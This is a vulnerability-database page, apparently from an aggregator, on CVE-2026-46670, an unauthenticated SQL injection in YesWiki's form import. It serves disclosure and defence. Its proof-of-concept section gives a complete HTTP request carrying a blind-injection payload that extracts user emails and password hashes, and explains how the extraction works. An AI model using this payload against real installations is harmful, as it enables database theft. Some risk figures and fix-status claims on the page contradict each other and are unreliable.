CVE-2026-46670

CRITICALPre-NVD 9.89.8
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 87% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
Elevated
9.8
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 9.8Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

YesWiki: Unauthenticated SQL Injection

Summary

An unauthenticated SQL injection in the Bazar form-import path (FormManager::create()) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an INSERT statement and read the full database, including yeswiki_users.password hashes. Present in 4.6.1 / 4.6.2 / current doryphore-dev; analyzed against upstream commit 1f485c049db030b94c047ec219e63534ac81142e.

Details

Sink is at FormManager::create() (function at L232), unquoted concatenation of bn_id_nature into the INSERT VALUES list at https://github.com/YesWiki/yeswiki/blob/1f485c049db030b94c047ec219e63534ac81142e/tools/bazar/services/FormManager.php#L258

Reachability is unauthenticated.

PoC

  • Clone the repo (test was done on 1f485c049db030b94c047ec219e63534ac81142e)
  • Bring up the service using docker: cd docker && docker compose build && docker compose up
  • Go to https://localhost:8085
  • Go through the installation
  • Run the POC:
yeswiki_sqli_poc.py

Impact

Sql injection. An attacker can dump the whole db, including usernames, emails, and hashed passwords.

More details

Sample http request (copied from burp):
POST /?BazaR&vue=formulaire HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 353
Host: localhost:8085
User-Agent: Python-urllib/3.13
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

imported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7D

POC internals:

The PoC uses an expression like: 7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))

Breakdown SELECT HEX(VERSION()) or whatever the statement is (the poc file dumps 1 username and password) This gets the database version and hex-encodes it. Example:

VERSION()      = 9.7.0
HEX(VERSION()) = 392E372E30
Then: SUBSTRING((SELECT HEX(VERSION())), 1, 1) takes one character from that hex string. For position 1, this returns 3, then: ASCII(...) converts that character to its ASCII code: ASCII('3') = 51 Then: 7330000 + 51 produces 7330051 So the full vulnerable insert becomes roughly:
INSERT INTO yeswiki_nature (..., bn_id_nature, ...)
VALUES (7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1)), "fr-FR", ...);
MySQL evaluates the expression before storing it, so the inserted row has: bn_id_nature = 7330051 The PoC reads that ID from /?api/forms, subtracts 7330000, gets 51, converts 51 back to '3', and repeats for the next character.

CVSS v3
9.8
EG Score
9.8(low)
EPSS
12.6%
KEV
Not listed

Published

May 22, 2026

Last Modified

May 22, 2026

Vendor Advisories for CVE-2026-46670(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFixed inDependents
yeswiki/yeswiki4.2.3 ... v4.6.3 (29 versions)4.6.4

Data Freshness Timeline

(refreshed 0× in last 7d / 44× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 116 total refreshes for this CVE.

  1. 2026-06-29 20:37 UTCEG score recompute
  2. 2026-06-29 16:38 UTCEG score recompute
  3. 2026-06-28 11:53 UTCEG score recompute
  4. 2026-06-28 07:48 UTCEG score recompute
  5. 2026-06-28 03:23 UTCEG score recompute
  6. 2026-06-27 23:23 UTCEG score recompute
  7. 2026-06-27 19:23 UTCEG score recompute
  8. 2026-06-27 11:50 UTCEG score recompute
  9. 2026-06-27 07:19 UTCEG score recompute
  10. 2026-06-26 23:13 UTCEG score recompute
  11. 2026-06-26 19:12 UTCEG score recompute
  12. 2026-06-26 03:18 UTCEG score recompute
  13. 2026-06-25 23:15 UTCEG score recompute
  14. 2026-06-25 18:05 UTCEG score recompute
  15. 2026-06-25 13:56 UTCEG score recompute
  16. 2026-06-18 03:55 UTCEG score recompute
  17. 2026-06-17 23:56 UTCEG score recompute
  18. 2026-06-17 19:56 UTCEG score recompute
  19. 2026-06-17 14:54 UTCEG score recompute
  20. 2026-06-17 10:55 UTCEG score recompute
  21. 2026-06-17 03:20 UTCEG score recompute
  22. 2026-06-16 23:21 UTCEG score recompute
  23. 2026-06-16 19:22 UTCEG score recompute
  24. 2026-06-16 10:44 UTCEG score recompute
  25. 2026-06-16 06:43 UTCEG score recompute
Show 75 more
  1. 2026-06-16 02:45 UTCEG score recompute
  2. 2026-06-15 22:45 UTCEG score recompute
  3. 2026-06-15 14:54 UTCEG score recompute
  4. 2026-06-15 06:19 UTCEG score recompute
  5. 2026-06-15 02:19 UTCEG score recompute
  6. 2026-06-14 23:18 UTCEPSS rescore
  7. 2026-06-14 22:20 UTCEG score recompute
  8. 2026-06-14 18:21 UTCEG score recompute
  9. 2026-06-14 14:02 UTCEG score recompute
  10. 2026-06-14 10:01 UTCEG score recompute
  11. 2026-06-14 06:00 UTCEG score recompute
  12. 2026-06-14 01:52 UTCEG score recompute
  13. 2026-06-13 23:00 UTCEPSS rescore
  14. 2026-06-13 21:53 UTCEG score recompute
  15. 2026-06-13 12:02 UTCEG score recompute
  16. 2026-06-13 07:22 UTCEG score recompute
  17. 2026-06-13 03:22 UTCEG score recompute
  18. 2026-06-12 23:12 UTCEPSS rescore
  19. 2026-06-12 23:04 UTCEG score recompute
  20. 2026-06-12 19:03 UTCEG score recompute
  21. 2026-06-12 15:05 UTCEG score recompute
  22. 2026-06-12 11:05 UTCEG score recompute
  23. 2026-06-12 07:06 UTCEG score recompute
  24. 2026-06-12 03:07 UTCEG score recompute
  25. 2026-06-11 23:09 UTCEG score recompute
  26. 2026-06-11 19:09 UTCEG score recompute
  27. 2026-06-11 15:10 UTCEG score recompute
  28. 2026-06-11 11:11 UTCEG score recompute
  29. 2026-06-11 07:07 UTCEG score recompute
  30. 2026-06-11 03:08 UTCEG score recompute
  31. 2026-06-10 23:09 UTCEG score recompute
  32. 2026-06-10 19:10 UTCEG score recompute
  33. 2026-06-10 15:11 UTCEG score recompute
  34. 2026-06-10 11:12 UTCEG score recompute
  35. 2026-06-10 07:14 UTCEG score recompute
  36. 2026-06-10 03:10 UTCEG score recompute
  37. 2026-06-09 23:11 UTCEG score recompute
  38. 2026-06-09 19:12 UTCEG score recompute
  39. 2026-06-09 15:13 UTCEG score recompute
  40. 2026-06-09 11:15 UTCEG score recompute
  41. 2026-06-09 07:16 UTCEG score recompute
  42. 2026-06-09 03:17 UTCEG score recompute
  43. 2026-06-08 23:18 UTCEG score recompute
  44. 2026-06-08 19:18 UTCEG score recompute
  45. 2026-06-08 13:47 UTCEG score recompute
  46. 2026-06-08 09:47 UTCEG score recompute
  47. 2026-06-08 05:48 UTCEG score recompute
  48. 2026-06-08 01:49 UTCEG score recompute
  49. 2026-06-07 21:51 UTCEG score recompute
  50. 2026-06-07 17:52 UTCEG score recompute
  51. 2026-06-07 13:53 UTCEG score recompute
  52. 2026-06-07 09:53 UTCEG score recompute
  53. 2026-06-07 05:54 UTCEG score recompute
  54. 2026-06-07 01:55 UTCEG score recompute
  55. 2026-06-06 21:56 UTCEG score recompute
  56. 2026-06-06 17:57 UTCEG score recompute
  57. 2026-06-06 13:57 UTCEG score recompute
  58. 2026-06-06 09:59 UTCEG score recompute
  59. 2026-06-06 06:00 UTCEG score recompute
  60. 2026-06-06 02:00 UTCEG score recompute
  61. 2026-06-05 22:01 UTCEG score recompute
  62. 2026-06-05 18:02 UTCEG score recompute
  63. 2026-06-05 14:03 UTCEG score recompute
  64. 2026-06-05 10:04 UTCEG score recompute
  65. 2026-06-05 06:05 UTCEG score recompute
  66. 2026-06-05 02:06 UTCEG score recompute
  67. 2026-06-04 22:07 UTCEG score recompute
  68. 2026-06-04 18:08 UTCEG score recompute
  69. 2026-06-04 14:09 UTCEG score recompute
  70. 2026-06-04 10:10 UTCEG score recompute
  71. 2026-06-04 06:11 UTCEG score recompute
  72. 2026-06-04 02:12 UTCEG score recompute
  73. 2026-06-03 22:13 UTCEG score recompute
  74. 2026-06-03 18:14 UTCEG score recompute
  75. 2026-06-03 14:15 UTCEG score recompute

Publicly available exploits

(1 reference)

Working exploit code is in the public domain. Defenders should treat patch urgency accordingly — public PoCs typically lead to mass-exploitation within 24-72 hours.

  • Nucleihttp/cves/2026/CVE-2026-46670.yaml
    First seen Jan 1, 2026

    YesWiki < 4.6.4 - Unauthenticated SQL Injection

    Open source ↗

Frequently asked(5)

What is CVE-2026-46670?
CVE-2026-46670 is a critical vulnerability published on May 22, 2026. YesWiki: Unauthenticated SQL Injection Summary An unauthenticated SQL injection in the Bazar form-import path (FormManager::create()) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an INSERT statement and read the full database, including…
When was CVE-2026-46670 disclosed?
CVE-2026-46670 was first published in the National Vulnerability Database on May 22, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-46670 actively exploited?
CVE-2026-46670 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 12.6% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-46670?
CVE-2026-46670 has a CVSS v4.0 base score of 9.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-46670?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-46670, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-46670

Explore →

Is Your Infrastructure Affected by CVE-2026-46670?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.